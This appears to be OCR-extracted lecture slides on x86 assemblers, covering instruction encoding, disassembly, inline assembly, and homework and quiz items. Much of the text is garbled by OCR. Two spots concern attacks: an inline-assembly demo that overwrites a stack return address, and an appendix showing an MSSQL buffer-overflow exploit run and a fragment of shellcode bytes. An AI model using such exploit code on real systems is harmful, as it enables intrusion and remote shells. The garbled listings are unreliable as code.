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Objectives

Understand the role of assembler
Find out the structure of assembler

Perceive how a HW designer makes a spec. and how a SW
designer makes a program based on the spec.

Know how to use assembly

assembly)

In a high-level language (inline

Refer to Chapter 3 in the CSAPP and Intel SW Developer

Manual ;

]
38

Representation of

Programs
[ 3.1 AHistorical
Perspective
m 3.2 Program
Encodings

3.3 Data Formats

3.4 Accessing
Information

3.5 Arithmetic and
Logical Operations
3.6 Control

3.7 Procedures
3.8 Array Allocation

and Access

3.9 Heterogeneous
Data Structures
3.10 Putting It

3 5 3 a:a 3 =33

Together:
| Understanding

section 37 Program Frcodings 163

variable accun, since the compiler has not yet determined where in memory this
variable wil be stored

1 we use the ¢’ command-fine option. aee will both compile and ssscmble
the code:

wnixe goe <01 ¢ code.c
“This will gencrate an objeet code file code.o that s in binary format and hence

cannot be viewed direetly. Embedded within the 800 bytes of the file code.o is &
17-byte sequence having hexadecimal representation

55 80 48 5 45 0u 03 45 08 01 05 00 00 00 00 5d 3

This is the object-code corresponding to the assembly instructions listed sbove. A
ot the pr

is simply  sequence of byles cucoding
very litle information about the source code from which these instructions were
generated.

Aside  How do |l find the byte representation of a program?

o generate these byles. we used 4. ler (10 be e code for
susis 17 bytes long. Then we ran the GNU debugging (ool cos on e cods. and gave it the command

(gdb) 2/17xb oux

telling it to examine (abbreviatedd ') 17 hex-formatied (also abbreviated ‘%) bytes (abbreviated ')
You will find that cim has many wseful features for analyzing machine-level programs, us will be
discussed in Section 3,11,

disassemblers can be invaluable. These program:
assembly code from the machine code. With Lin o
(for "object dump™) can serve this rol the =i’ command-line lag

wnix> objdusp ~d code.o

‘The result is {where we have added line numbers on the left and annotations in
italicized text) as follows

0000000 <>

o 56
1 89 o6

3 845 00
6 034
01 95 60 00 00 OO

ta

08

3

CHAPTER 2
INSTRUCTION FORMAT

This chapter describes the instruction format for ail Intel 64 and IA-32 processors. The instruction format for
protected mode, real-address mode and virtual-8086 mode is described in Section 2.1. Increments provided for IA-
32e mode and its sub-modes are described in Section 2.2.

2.1 INSTRUCTION FORMAT FOR PROTECTED MODE, REAL-ADDRESS MODE,
AND VIRTUAL-8086 MODE

The Intel 64 and IA-32 architectures instruction encodings are subsets of the format shown in Figure 2-1. Instruc-
tions consist of optional instruction prefixes (in any order), primary opcode bytes (up to three bytes), an
addressing-form specifier (if required) consisting of the ModR/M byte and sometimes the SIB (Scale-Index-Base)
byte, a displacement (if required), and an immediate data field (if required).

Instruction
Prefixes

octe | meawm [ s | ossicomem [ immedre

Brofixes of  1-, 2-, or 3-byte 1 byte 1 byte Immediate
1byte each  opeode (if required) (If required) displacement  data of
(optional)'- = X of 1,2, or 4 TZora
/ . bytes or none®  bytes or none®
» S
; &S 52 a 7 &= 32 o
| Mod ‘ e | RM | | Scale ‘ Index | Base |

1. The REX prefixis optional. but if used must be immediately before the opcode; see Section
22.1, "REX P <" for additional information.
information, see Section 2 3. “Intel® Advanced Vector Extensions (Intel®

3. Some rare Instructions can take an 88 immediate or BB displacement.

Figure 2-1. Intel 64 and IA-32 Architectures Instruction Format

-2 % Instruction Prefixes
Instruction prefixes are divided into four groups, each with a set of allowable prefix codes. For each instruction, it

is only useful to include up to one prefix code from each of the four groups (Groups 1, 2, 3, 4). Groups 1 through 4
may be placed in any order relative to each other.

*  Group 1
— Lock and repeat prefixes:




Role of Assembler (1/1)

s Assembler
v Translate assembly language into machine language

804839 <ILf3>:

204283=9: L= push Tebp

20483 ca: = eh T Tesp, Tebp

30483=c: S =ec a8 =ukb S0xE, Fesp

80483=F: =7 04 24 0O 85 04 08 oL Sox8048506, (Tesp)

B0483f6: e £5 f= £ f£* call B0482f0 wputsEplit>

80483f: e =8 £f ££f £=£ —all 804838 <f£2>

8048400 : =7 04 24 10 85 04 08 ol Sox8048510, (Tesp)

2048407 : e eqd4 fe ££f £F£ call 804820 <wputsEplc>

S0484940cC: =9 leawe

80484940d: =3 =T

B04840e -l - ‘\\ //r ‘\\

20428412 L push Tebp

20484319: = eh T Te=p, Tebp

So4s41b: 51 pu=h Tecx |
83048431 c: s ec 04 =ulb Z20x4, Fesn

8048431 F: e =5 £ £ ££ call 804833 =f£f3>

20484224 ; 823 c4 049 add E0x4, Tesp

20428427 : SS9 julal ol Tecx

20484258 : Sd jula) =) Tebpo

204284229 2d &1 f£c lea —0Oxg (Tecx)  Te=p

804842 c: \\‘CE 4// \\iet 4//

= ) — ]
5048430 = 1ibc cSsu fini>: -
8048430 : == push Tebp

20428431 : 29 e5 b el g Te=p, Febp

8048433 ; 54 jala) u) Tebp i
20484349 : =3 ret |
8048435 : 84 T4 26 00 iea OxD {(Te=sd , Teiz, 1) FTe=si | =
280484390 8d bco 27 00 OO0 OO0 OO0 iea

Ox0 (Tedi,Seiz, 1), Tedi |

ig80,0-—-1 a65% byl

% Understanding a binary is indispensable for detecting virus, plagiarism and SW refactirini

I e

3 >



Functionalities of Assembler 32-bit CPU (1/5)

s Machine Code
|A-32 machine code format

nstruction | gegge MOGR!MT S Displacement | Immediate

Prefixes
Uptofour  1- 2- or 3-byte 1hyte 1byte Address Immediate
prefixes of opcode (frequired) (ifrequired)  displacement  data of
1byte each of1,20rd 1,2 0rd

RE‘Q/ ,...-.-.-:::::::::.

Mod Opt{)de RIM Scale | Index | Base

Frgure 2t Intelﬁ4 and |A-32 Architectures Instruction Format
ffom Inte{_'l\/lanual Volume 2)

e

(optional) / \ bytés of none b|ytés or none

The mod field combines with the t/m field to form 32 possible values: eight registers and
24 addressing modes.

The reg/opeode field specifies either a register number or three more bits of opeode infor-
mation. The purpose of the reg/opcode field is specified in the primary opcode.

The r/m field can specify a register as an operand or can be combined with the mod field to
encode an addressing mode.

Gmupl Lock and repeat prefixe:
Group 2 Segment override prefixe, Branch hints

Group 3 Operand-size override prefix.
: Groupd  Address-size overnide prefix

Mod R/MorlI/B register

mem.+dis(g) || 200 | EAX [EAX]
mem.+dis§3)2) 001 | ECX [ECX]
reg. 010 | EDX [EDX]
01t | EBX [EBX]
0 | ESP [
01 | EBP disp32°
10 | ESI [ESI]

Scale

11t | EDI  [EDI]
IS~ s==oc

S




Functionalities of Assembler: 32-bit CPU (2/5)

s Opcode

v Machine format example of MOV opcode

a8 /r
89 /r
89 /r
8A Ir
aB ir
aB ir
8C Ir
8E Ir
Ad

Al

A

AZ

A3

A3
BO+ b
Ba+ nw
B8+ rd
C6 /0
C7 10
CT 10

Opcode

Instruction

MOV rim&,ré

MOV rmi16,rié
MOV rm32r32
MOV r8 rimé&

MOV r16.rrmi6
MOV r32,rrm32
MOV im16 5 reg*™
MOV Sreg, m1e*™
MO AL, morfsg®
MO AX moffs1&®
MO EAX moiffs32*
MOV morffsg* AL
MOW maoffs16® AX
MOV morffs32Y EAX
MOV r& imme&
MOV ri6,.imm16
MOV r32,imm32
MOV rm&,imma
MOV rmi16immi6
MOV m3Z2imm32

Description

Move rg8 to rimé&

Move riéto rmie

Move r32 to rm32

Move rimé& to r8

Move rmi& to riée

Move rim32 to r32

Move segment register to rim1&
Move rimi1é& to segment register
Move byte at (seg-offsef) to AL
Move word at (seg.offsef) to AX
Move doubleword at (seg-offsef) to EAX
Move AL to (seg:offsef)

Move AX to (sag:offsal)

Move EAX to (seg:offsal)

Move immég to rg

Move immié& to e

Move imm32 to 32

Move imme& to rmé

Move immié to Fm1é

Move imm32 to Fm32

MOV—Move

(from Intel Manual, Volume 2, 4.3 Instructions: move)

5




Functionalities of Assembler: 32-bit CPU (3/5)

s [ranslation example

= choijm’s X desktop (embedded. wowdns.com:2)

...skipping

080482f4 <mainy:

804824
804825
g0482fa:
B0482Ff:
8043304

B042303:
B04a30e:

o Oas0,

a04832f:
B043332:
B048336:
B048338:
B043333:
B04333a:
a04833b:

)

SE/M

mem. operand:
Little Endian

|

Immediate (1B vs 4B: see

J

&7 20 3407 06 Moy 08043 = below
ad 24 94 04 08 = S THB0434 24
I&W moy  $0x3,%ean de + regist
o4 A —— e R opcoce * register
bf 05 00 00 00 mov  §0x5,%edi
29 ca oY Yoy Fodw
Ry Opcode Instruction Description
B (II QI: I (B IJ"I"IJ EI: o a8 ir MO m&.rg Mowe r8 to rim8&
a9 Jr MO rmi6&rie Mowve rigto rFmie
Ba fr MON Fm32,r32 Mowve r32 to rm32
EE{I E'E":":- [ E_.|'.'|,_::l:'_] BA fr MOV r8, rm8 Mowve rm8g to r&
301 ECX [ECX] BB ir MOV r16,1/m186 Move mm16 to r16
aB ir MON r32.m3z2 Mowve rm32to r32
E 1{| ED }3: [ E D-::.::-] BC Ir MO rim 18, Snreg* Move segment register to rimi18
|:|1 1 EE}: [ E E ::u:'_] BE ir MOY Sreg,r/miee Mowe rm1E& to segment register
-| Ad MO AL, morffsg* Move byte at (segroffsel) to AL
1 El':' EE FI [__3[_ _] A1 MON AX, moffstes Mowe word at (seg:offsef) to AX
H = A1 MO EAX moffs32" Mowve doubleword at (seg-offsef) to EAX
1 E-I EE FI I:I IED 32 A2 MON moffsg8® AL Mowve AL to (seg:offsel)
10 | ESI [ESI] A3 MOV moffs 16 AX Move AX to (seg:offset)
A3 MO morffe32% EAX Move EAX to (segroffser)
1 1 1 Ea I [ E D I ] e B0+ b MON rg imm8& Mowve imm& to r&
B8+ nw MON r18 immie Mowve immi8& to ré
3 ret B+ MOV r32,immaz Move imma2 to 132
E||:| rll:llj CG o MO rm8.imma Mowve immé8 to imé&
C7 o MON EmiTEiImmiTEe Mowve Imm1& to Fm18
EH:I N ':'[:' C7 fo MON Fm32Iimm32 Mowve imm32 to ¥m32




Functionalities of Assembler: 32-bit CPU (4/5)

s [ranslation example

= choijm’s X desktop (embedded. wowdns.com:2)

ad . ClDIM@embedoed - /ayapro/exam asm/fE.

...skipping
nBgentt
Scale

B048310:
BO458312:
Bl45314:
B048317:
804831b:
B048322:

Mod

mem.
mem.+dis(8)
mem.+dis(32)

re L]
oldiEddd.

a04833b:

i

gh

000
001

£10
011

100
101
110
111

04 00 00 00

0% 00 00
i

0a

nathlneadss
55 push  %ebp
al 20 94 04 08 fraY Ox8045420,%eax
a3 24 94 04 08 FroY ey, 0x80494 2
b& 03 00 00 00 FroY 0

T moy $0x5,%edi
o e
=W

0g : Bak,) ,RRCH
0 Moy Oud(Hpau) Spew—————T
oh 4eoais Moy OxB(%eax, %ehy 47 %ocy
iy 015678 (Xeax o0, 4 A0 CR

o Gc 9 78 55 00 00

B [II I!B I oy

EAX
ECX
EDX
EBX
ESF
EBF
ESl

EDI

[EAX]
[ECX]
[EDX]
[EEX] '
[--1--1"
disp322
[ESI]

[ED]

%ecx,lzlsﬂl;ﬂiglﬂ}zﬂ

ModR/M:{11001010

ModR/M: (01001000

displacement

The [={-] nomenclature means a S8 follows the ModRUM bye.

SIB:

10011000

)

Opcode
a8 fr
a9 fr
a9 fr
aA fr
aB fr
aB fr
ac i
8E fr
Al

21

Al

A2

A3

A3
BO+ b
Ba+ mw
Ba+ nd
CE o
CTro
criof

Instruction

MOV M. re

MO mtErie
MON Fm32,r32
MOV r8 rma

MOV rfE. rmie
MOV r22,rrmaz2
MOV 16,8 reg*™
MO Sreg, rfmi et
MO AL, moffsg™
MO A moffs1e”
MO EAX moffs22*
MOW moffsg* AL
MOW moffs 16 AX
MOYW moffs22Y EAX
MOV r8, imme
MOV rfE immi1e
MOV r22,0imm32
MOY mE. dmme
MOV T S immiT e
MOV Fm32imm32

Description

Move r& to rim&

Move rf&to rimi&

Move r22 to rim32

Mowve rimé& to r&

Move rmi&to rig

Mowve rm32 to r32

Mowve segment regisier to rim76&
Mowve 1 & to segment register
Move byte at (seg offsef) to AL
Move word at (seg-offsal) to AX
Mowve doubleword at (seg:offsaef) to EAX
Move AL o (segoffsef)

Mowve AX to (saeg-offsal)

Move EAX to (segroffsef)

Mowve imm& to r&

Mowve imm 16 to &

Mowve imm32 to 32

Mowve imm& to rima

Mowve imm 18 to rmi&

Mowve imm32 to rm32




Functionalities of Assembler: 32-bit CPU (5/5)

= [ranslation example (cont’)

[= choijm's X desktop (embedded. wowdns. cops

Opcode Instruction Description
a8 ir MOV 8. rg Move r8 to rim8
MOd a9 ir MOV rmi&ri1e Move ri& to rimiE
00 | mem. 89 Ir MOV nm32,ra2 Move r32 to rm32
01 mem +dS(8) BAr MOV r8, rrmg Move rim& to rg8
. | aB ir MOV r1&.rPmi1& Move rFmi&to rig
H aB ir MOV r32.rm3z2 Move rm32 to r32
mem . +d IS(32 g aC ir MOV rmi6 Sreg* Move segment register to im718
8E ir MOV Sreg,r'mié*™ Move rim1é to segment register
I _ '_ E—— [ E":'l.::':-.] AD MO AL, moffsg Move byte at (segoffsef) to AL
OnAoIFEF Al MOW AX, moffs18® Move word at (seg-offsef) to AX
S |e : ¥ E?; Egi E E gi} A MO EAX moffs32" Move doubleword at (seg:offsel) to EAX
Ca : AZ MOV moffsg” AL Move AL to (seg:offsef)
. A3 MO moffs168%_ AX Move AX to (seg:offsel)
A 011 EBX [EB -':.'.'r-]_l Az MOV moffs32* EAX Move EAX to (seg:offsef)
100 EsP [--1[--] BO+ b MOV r8,imms Move immé to r8
H 2 B8+ nw MOV ri8immi1& Move imm1& to e
1 EH EE!' P I:I |-5-F:| 32 B8+ nd MOV r32,imm32 Move imm32 to 32
110 ESI [ESI] CE /0 MOV m8,imms Maove imms to m8
. CT7 0 MOV rmi18immié Move imm 18 to Fmieé
HU‘qH;ﬂ ? : 1 1 1 Ea I [ E D I ] CT 0 MOV rm32imm32 Move imm32 to Fm32
804831b: 8b Bc 99 78 56 00 00 oy 0x5678(%eax,%eby,4) %ecy
8048322: 39 0420 34 04 08 mov  %ecx,0xB043420
B048328: c? 05 20 | omowl  $0x1234,0:8043420

~

L The disp3Z nomenclature denotes a 32-bit displacement that follows the ModR/M byte]

B04832f: 12 00 00 B
a048332: g 68 1e frg I
8048336 bo 07 Y $0x7 %8

A0483385: e 1eave
B048339: <3

a04833a: 30
804833b: 30 J




Structure of Assembler (1/2)

s 4 Main Components

{ Text file 2 - |movl| 0x4(%eax), %ecx | |
-
=SCcanner —
\\‘ opcode: 8b
{:Tm.;en Stream j m_od R/M: 01 001 000
: disp.: 0x4
Farsing |
N . e ot AR
: 8b 48 04 :
{:E.yntﬂ}:; Tres :| ...........................................................................
Semantic Ana.
(valid syntax tree )
Coode gensration
[ object code 7



Structure of Assembler (2/2)

m 2 pass assembler

Instruction
Database

MOV AL, [X+2]

DB 573

= =
& ]
(4 4] (D
= =
= |
T z
= =
4 = 1]
n L
L %)
[ [

Symbol Table

X | 3F3A

% To sum up, designing an assembler consists of 1) making parser, 2) manipulating
DB, 3) managing symbol table, 4) code generating, 5) error handing, 6) optimization

and soon. = =~
I ,
10 -



Functionalities of Assembler: 64-bit CPU (1/4)

s Machine Code with 64-bit extension
v Need to encode new registers (GPRs) and 64-bit addressing
v Need to maintain backward compatibility

General-Purpose Multimedsa Extension and Streaming SIMD

Registers (GPRs) Floating-Point Registers Extension (55E) Registers
RAX MMO/STO XMMO
REX MMI/ST AMMI
RCX MM2/5T2 XMM2
RIDX MM3/5T3 XMIMG
REP FMMa/5TA XM
RS MMS,/STS XMM 5
RDI MM&/STE XMMB
RSP MM7/ST7 XMM7
Ra £ u XM
R KMIMG
R0 Flags XMIMO
R11 Regrster XMM 11
R12 [ ] eFLacs XMM 12
R13 =t 0 XMM13
R14 Instruction Pointer MM 14
RIS | | | RIP XMM 15

bBg { Ed U hd

I:I Lszacy aiE Reprsers, SUppoied o 28 medees
I: Regrifid Extérradms, tupporitd o G4-84 Mode AL g

11



Functionalities of Assembler: 64-bit CPU (2/4)

s Machine Code with 64-bit extension
v Code format

» REX prefix
Specify GPRs (rax, rbx, ..., rdi, r8, r9, ... r15) and SSE registers
Specify 64-bit operand size

Table 2-4, REX Prefix Fields [BITS: 0100WRXB]

Field Name Bit Position Definition
- 74 0100
W 3 0= Operand size determined by (5D
1= b4 Bit Operand Size
R 2 Extension of the ModR/M reg field
X 1 Extension of the SIB index field
B 0 Extension of the ModR/M r/m field, SIB base field, or Opcode req field

(from Intel Manual, Volume 2, 2.2 |IA-32e Mode)

‘f’?\gfﬁzs Pli'aeEf}fx Opcode ModR/M SIB Displacement Immediate
Grp 1,Grp  (optional) 1-, 2-.0r 1 byte 1 byte Address Immediate data
2, Grp 3, 3-byte (if required) (if required) displacementof of 1.2, 0r4
Grp 4 opcode 1,2, or 4bytes  bytes or none
(optional)

Figure 2-3. Prefix Ordering in 64-bit Mode

ModRM Byte SIB Byte
REX PREFIX Oipcodsa mod req rim scale index base
D10OWRXEB =11 i d 100 ES o bbb
1l |_§
O
Rrrr Xt Bbbib

Ot Fsgt-5

12

Figure 2-6. Memory Addressing With a 5IB Byte

A




Functionalities of Assembler: 64-bit CPU (3/4)

s Machine Code including 64-bit extension

v Machine format example of MOV opcode
» 64bit addressing = REX prefix

MOV —Mowe

Opcode Instruction Ops &4-Bit Compat/ Descripticon
En Mode Leg Mode

88 /fr MOV mE.rg MR Walid Walid Mowe 8 to r/ma.

REX +~ 88 /r MOV mE  rg MR Walid MNE. Mowe rig to rma.

B89 fr MOV mTerise MR Walid Walid Mowve rT16 to m TG

89 fr MOV mI 2 r3s MR Walid Walid Mowe r32 to m3s.

REX.W + 89 Jr MOV A mGf, G MR Walid MN.E. Mowe e« to rimS-.

8.8 /r MOV r8ar/ms RMM Walid Walid Mowe rfma 1o S

REX + 8A /r MOV r8* " rfma =M Walid MN.E. Mowe s o rS.

88 fr MOV rTE A m e RMM Walid Walid Mowve 16 to riGE.

88 fr MOV rF2 A m3IE =M Walid Walid Mowve 32 to r32.

REX. W + 88 /r MOV e G RM Walid M.E. Mowe e to iS4,

8C /fr MOV T E Sreg™™ MR Walid Walid Mowe ssgment register to mT 6.

BC fir MOV r1 62 2/m 1 6, Sreg*™ MR Walid Walid Move rero extended 16-bit segment register
to rTS&SArI2am T 6.

REX W + BC /r MOV &4/ m 16, Sreg*™ MR Walid Walid Mowve zero extended 16-bit segment register
o S TE.

BE fir MOV Sregr/m e M Walid Walid Mowve rfim 16 to segment register.

REX .\ + BE fr MOV Sreg. G- RM Walid Walid Mowe fowwer T6 bits of r/med o segment
register.

Ao MOV AL mofffsg™ D Walid Walid Mowe byte at (segrofifser) o AL

REX i + AD MOW AL mofifsg= FD Walid MN_E. Mowve byte at (offset) to AL.

Al MOV A moffs T&* D Walid Walid Mowve word at (segroffset) to AX.

Al MOW EA . mofif=3=" D Walid Walid Mowe doublewsord at (seg:offset) to EAX.

FEX W + &A1 MOW RAX, mofifsGa™ FD Walid M.E. Mowe quadeeord at (offser) to RAX.

Az MOV rmoffs8.Aal TD Walid Walkid Mowe AL to (segoffser)

REX W + AZ2 MOV moffss AL TD Walid MLE. Mowe AL to (offser).

AT MOV rmaoffs T6,AX TD Walid Walkid Mowve AX to (segrofifser).

AZ MOV maffs3 =" EAX TD Walid Walid Mowe BEAX to (segioffser).

REX W + A3 MOV mroffsGar RAK D Walid MNE. Mowe RAX to (offset).

BO+ rb ib MOV rE. Imma ol Walid Walid Mowe fmmE to r8.

REX + BO+ rb b MOW rg | S ol Walid MNE. Mowe fmmE to 8.

BB+ ruvv fuw MOV rTE, imml G ol Walid Walid Mowve dmmTE o rTa.

BB+ ro id MOW r32, imm3Is La]] Walid Walid Mowe fmmI3s o r3s

REX. W + BB+ rd jo MOV S, immns-d ol Walid MN.E. Mowe fmmSd 1o NS,

CE /O il MOV ImE. imma ™ Walid Walid Mowe fmmE to e

REX + CG /0 ib» MOV oAmE™ ™, ImmEa ™~i Walid MN.E. Mowe fmmE to e

CTF /0 fae MOW r/m16, immTE I Walid Walid Mowve immTsE o ifimi6.

CF 70 id MOV 32, immI3 s ™ Walid Walid Mowe fmmIs 1o rdim 32

REX W + C7F FO id MOV mE&<. imm3I3s L1} Walid MNE. Mowe fmmI3s sign extended to &4-birts ta

(fram Tnteol Manual
ITUTT T I ICCOT 1T 1O TUdl '

nhiime 2 4 B InctrudbBBHE - mnoue) —_
\JITUAT T I\ L, T/ AT TJIUT UL ATITVIT TV, |||UV\—/



Functionalities of Assembler: 64-bit CPU (4/4)

s [ranslation example

. skipping

(B0482f4 <mainy;
Bl4B2f4: o5 nush—%oby
An482f4:; al 20 34 04 08 moy (x8043420, %83
B0482fa: a) 24 34 04 08 moy  Keaw,0x8043424
D482t b 03 00 00 00 may %3, %ean
BO48304: b9 04 00 00 00 myy  §0xd,heck
B048309: bf 05 00 00 00 moy  §045,%edi
B04830e: B9 ca moy  %ecw,kedy
A048310; 29 (a moy  %ecy, (heds]
a4a312: oh (8 myy  (%ean),kecy
B4E314: oh 48 04 moy  Oud(keax) becy
B048317: Bh 4¢ 98 08 moy  OuB{%ean,%eby,4)
A48 b BhoBc 98 7R SR 00 00  mov  0%SB7A(%eax,%eh
Bl4g322: B9 0d 20 54 04 0B may  %ecy, 08043420
Bl4a324: 70520 94 04 08 3 movl  §0x1234,04804%42
B048321: 12 0000
B048332: BG b BB 1e moy  §0x1e68,%ax
Bl45336: b0 07 my  §0x7,%al
B048338: ¢4 leave
A048339; (3 ret
B04833a: 0 fop
Al4a33h: il hap

REX Prefix: 0100 1000

JhBCH
A %ecy

[

400536
40053b:
400542
400544
40054b:
400544:
400552
400557
40055¢:
40055¢:
400561 ;
400564
400567

400582:
400589:
40058d:
400591 :
400593:
101048 <a>
40059a:

14

ef db fe ff ff

al 20 94 04 48 23 01
00 00

ad 24 94 04 48 23 01
00 00

b8 03 00 00 00

b9 04 00 00 00

bf 05 00 00 00

89 ca

67 89 0a

00
89 0c 25 20 94 04 03
c/ 04 25 20 94 04 48
34 12 00 00
66 b8 68 le

00 00 00

rn]]q 400410 (pufq@plf)

moy

moy

Moy
noy
moy
noy
moy
moy
moy
moy
moy
moy
mov

0x12348049420, %eax // movabs
Teax,0x12348049424 // movabs

$0x3, Yeax

$0x4, Tecx

$0x5, Tedi

%ecx, bedx

%ecx, (Redx)

rex, (Brdx)

w9, (ar10)
(%eax) , %ecx

Oxd (%eax) , %ecx
0x8(%eax, %ebx,4) , %ecx
0x5678(%eax, %ebx,4) , hecx

%ecx, 0x8049420
$0x1234, 0x48049420




inline Assembly (1/6)

= Inline Assembly
v Assembly code embedded in a high level language like C

v structure

__asm__(assembly statement : output : input : modified register)

Each parts are separated by :
output, input, modified register are optional

assembly statement: using “ ”, add a prefix % to each register
output: “=g”(variable name)
input: “g”(variable name)

modified register (clobber): notify to compiler which registers are
modified by inline assembly (to prevent the side effect of inline assembly)

Output and input are accessed using the notation of %0, %1, %2, ...

15



inline Assembly (2/6)

= Inline Assembly practice 1: add

SYspro =xamples/chapd - i “‘Dl@! X |

s

: input/output passing
maini) a eax
" g, b, c = b ebx

assembly statements ] i C  ecx

i d edx

;S esi

i D edi

: q general register

i m memory

i g general register and:

memory :

i A edx: eax (64 bits)

: f FP register

i immediate

: 0 first parameter

............................................................




inline Assembly (3/6)

= Inline Assembly practice 2: register input
je:qamplez.r‘chqu L ’._L @M

printf{"c = Zd\mn", c):

|"inline add.c" 22 £




inline Assembly (4/6)

= Inline Assembly practice 3: clobber

£ choijm@localhost:~public_htmlswsprofexam_inline/3_clobber
F* inline assembly 4|7|: clobber =/ - |
F= 112 152 F|EF *f

#include <stdio.hz

maing)
{
int a, b, c, dj . . .
:“= gxuﬂﬂﬂgﬂﬂg; To notify that a register is used
b = &4: internally in inline assembly
B asm__ ¢
"mull waebxWn"
"moul ZEeax, Zownt
""mouvl waedx, B1Wn'
- t=g" (c), “=g=
: (%)
y;

printf{"a = %¥x, b = %d, c = %d, d Z2d¥n"', a, b, c, d};
asm___
“divl waebxin"
""moul ZEeax, Zownt
“"mowvl weedx, S1Wn'
=g (c), =" (d)
“a™ faj), b (&), “dv (@)

)s
printf{"a = %%, b = %d, c = %%, d = ZJd¥wn'"", a, b, c, d);
¥
s “‘clobber1.c™ 38L, 51606 11,.2-5% ]

all
Kl
q

—

op



inline Assembly (5/6)

B

= Inline Assembly practice 4: stack again

. & choijm@embedded: ~/syspro18/chap9 = Ol X

> stack destroy.c: 2= 3T = £ 4 2, 11" 259, choijm@dku.edu */ ~
#include <stdio.h>

L
lvoid £1() {

T A

‘ printE("In Punsl\n") ;
4}

void £2() {

7+ ~
AifFE Ji; *ptEs
pragefE("E2 laedals \NERp, \ESp\a", &€j, Sptr);
prinpEE{™le Eomc? ™) g

R

pLtr = &J;
(pEr+2) = £l

\* / -
/] preintfE("In fTunc2 \n");:
__asm___
"movl %0, 4(%%ebp)\n"
gt LEL)
N ] 5

|}

wvoid £3() |
pPHiOCE({"BeETore invoke 20 \a™)3
200 &
printf(MAfter invoke £2()\n"):;
}

_main(} {
£3 ()

"stack destroy inline.c"™ 35L, 499C 19 iyl Top W




inline Assembly (6/6)

= inline Assembly practice 5: define

choijm@choijm-VirtualBox: ~/2015_syspro/chap9/inline
ﬁinc]_ude <{stdio.h>

#define rep_movsl{(src., dest. numwords) \
asm volatile__ ( \

“eldin
"rep\n” \
“movsh" A\
b,
SY (src). "DV (dest)

(numwords) \

)
main{) - H
{ Prevent a compiler from
| L3 = *kella™: moving these codes to other 1€
e baaidiln = wLIe. 3 place for the optimization :
char blL161 F purpose.
rep_movsl(a. b. (a)):
printf(“dest = Zs\n". b):
¥ i

20 73



Summary

s Apprehend the role of assembler (“as” in Linux)
v Assembly language =» Machine language

s Understand the structure of assembiler

v Token analysis, Parsing, Syntax analysis, Semantic Analysis,
Symbol table, Code generation, Optimization

v 2 pass assembler
s Make a program with inline assembly

<= Homework 8: Make an assembler

1.1 Requirements

- build an assembler that can translate assembly codes into the

IA machine codes shown in slides 6~8.

- manipulate DB and do error handling

- shows student’s ID and date (using whoami and date)
1.2 Write a report

- 1) Introduction, 2) design, 3) Source code, 4) Snapshots, 5) Discussion
1.3 How to submit? Upload 1) a report and 2) source code to google form
1.4 Deadline: two weeks later (same time)

I —
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Quiz for this Lecture

s Quiz

1. Discuss 4 main components of assembler.

2. The below left figure is the language hierarchy that we have seen in
the LN 1. Now, explain what is “movl”, “0x8049388" and “a1”.
Explain the little endian in this figure.

3. Explain how x86-64 maintain the backward compatibility.

4. In LN 9, we make a program that can destroy stack using inline
assembly. Discuss the differences between this program and the
program we have learnt in LN 4.

Compilation System (1/5) Stack Details (6/6)
= Concept: Language Hierarchy m Stack example 2
/* stack_destroy.c: S 27 2 M 5 93 192, choijm@dku.edu */
#include <stdio.h>
High-level Language A= void £10) £ —
inti; E o o e
printf("In funci\n"}); i i i
. void f2{) {
movl 0x8049388, Yeax int j, *ptr;
As sembly Language addl 0x8049384, Yoeax printf("f2 local: \t%p, \t%p\n", &j, &ptr);
movl %oeax, Ox804946C prntEm fune \nt);
e ptr = &j;
=(ptr+2) = f1;
L 2 '
. man wvoid 3() {
Machine Language 00al B893 0408 orinti( sefore invoke 20\n");
- 0305 8493 040 2();
{Blnary code) ﬂﬂag Gﬂgg Mug printf("After invoke f2()\n");
main() {
T — 3
1z ¥

22



Appendix: Exploit code (1/2)

s EXxploit code

v A code that attacks the vulnerabilities of program
= System down, obtain a shell with root privilege

: | = =10 :
i R = AHCY): [COM3 =
AUIA@: 5O Sarver - ———— e £
MHI= ME JEH). . | t Ouverflow Remote Exploithrdndn™); HHI~ = T
hced Windows Shellcodel 'wryn'); {HI= ME DEHL . | o =TI I |
| |E=EH = (5] ield, david@ngssoftware.comfrin®™); m
k a bug.Wrin"); |I| AlZE HS05)
n LA ZAEY ke http://www.cnhonker .comritnin®) ; ] S
=] s10 B> HGPOFL <SOLSP> bk, argu 1) ' o e e
28 WAl NS AL AL RS Nt _furuney ; oSS HH AR A MHA TS AIEHA) g e
28 E - WWCOMI - MSE0LEerver ?-M‘Wn") : / ZERE = WEWCOMT = MESSOLServer —|ke http://wne.cnhonker .comthrniin) ;

C:throjectbtryl2 > "
C:lprojectitry2 >try2 127.0.8.1 enbedded.dankook.ac.kr 1433 S5P2
MSSQL SP 1 or 2. GetProcAddress PAx42aelBdlC

Packet sent?

If youw don’t have a shell it didn’t work.

C:tprojectiitry2 >




Appendix: Exploit code (2/2)
s SQL Exploit code

v Copy a request into stack in a SQL internal function (vulnerable point)
v Make a larger request might destroy stack (buffer overflow)

v Modify the return address of stack so that it executes an exploit code
[ push %ebp ] [ mov %esp, Y%ebp ] [ push immediate ]

char exploii%{:}zj/
"X 5 5HX8 BWXECHWX6 WX 18 WX 10WXAEWXA I X681 X1C"

"leOWxAEWx42ﬁxEBWx03W BWXEBWX05WXE8VWXF8"
"WxFFWXFFWXFFWX X XFFWx F6"
"WxAEWXFEWXFFWXFFWx03WXxDEWX90Wx90W%Wx90Wx jmp 0x03 ]

"Wx90Wx33WxCOWxB1wWx44WxB2Wx58Wx30Wx13Wx83"
"WXxEBWx01WxE2WxF9Wx43Wx53Wx8BWx75WxFCWxFF"

"Wx16Wx50WWx33WxCOWxB0OWx0CWx03WxD8VWx53WxFF"
"Wx16Wx50%Wx33WxCOWxB0OWx10Wx03WxD8Wx53Wx8B"

"WxFFWxD0Wx90Wx2FWx2BWx6AWX07Wx6BYWx6AWx76"

"Wx3CWx34Wx34Wx58Wx58Wx33Wx3DWx2AWx36Wx3D"
"Wx34Wx6BWXx6AWX76VWx3CWx34Wx34Wx58Wx58Wx58"

"Wx58Wx0F#x0BwWx19Wx0BWx37Wx3BWx33Wx3DWx2C"
"Wx19Wx58Wx58Wx3BWx37Wx36Wx36Wx3DWx3BWx2C"
"Wx58Wx1BWx2AWX3DWx39Wx2CWx3DWx08Wx2AWx37"
"Wx3BWx3DWx2BWx2BWWx19Wx58Wx58Wx3BVWx35vWWx3C"

E— XS ) _
‘L pop “Yoeax/ J
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